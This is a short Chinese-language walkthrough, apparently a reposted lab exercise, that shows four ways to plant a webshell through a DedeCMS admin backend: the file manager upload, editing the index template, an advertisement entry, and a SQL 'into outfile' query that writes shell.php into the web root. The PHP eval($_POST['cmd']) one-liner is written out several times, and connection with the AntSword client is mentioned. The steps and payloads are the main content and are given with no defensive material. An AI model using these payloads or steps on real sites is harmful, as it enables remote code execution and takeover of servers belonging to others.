先举行安装
然后进入首页和管理员后台 内容要在后台举行操纵
首页
后台
1.通过文件管理器上传WebShell
访问目标靶场其思绪为 dedecms 后台可以直接上传任意文件，可以通过文件管理器上传php文件获取webshel
登陆到后台点击【焦点】【文件式管理器】【文件上传】将准备好的一句话代
码上传
2.修改模板文件拿shell
点击模板 默认模板管理 index.html 然后点击修改
写入一句话木马<?php phpinfo();eval($_POST['cmd']);?>
然后生存
接着点击生成 更新主页HTML--》将主页位置修改为【../index.php】--》点击 【生成静态】--》点击【更新主页】 再次访问站点首页可发现变化…
3.后台任意下令执行拿WebShell
<?php phpinfo();eval($_POST['cmd']);?>
步骤一:点击 【模块】 --》 【广告管理】--》〔【增加一个新广告】--》在【广告内容】 处添
加一句话代码--》点击 【确定】
步骤二:点击【代码】--》在图中显示的路径与站点举行拼接..访问测试!
拿蚁剑测试连接
4.SQL下令行
输入一句话木马
select "<?php phpinfo();eval($_POST['cmd']);?>" into outfile "D:/phpstudy_pro/WWW/uploads/shell.php"
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。 |
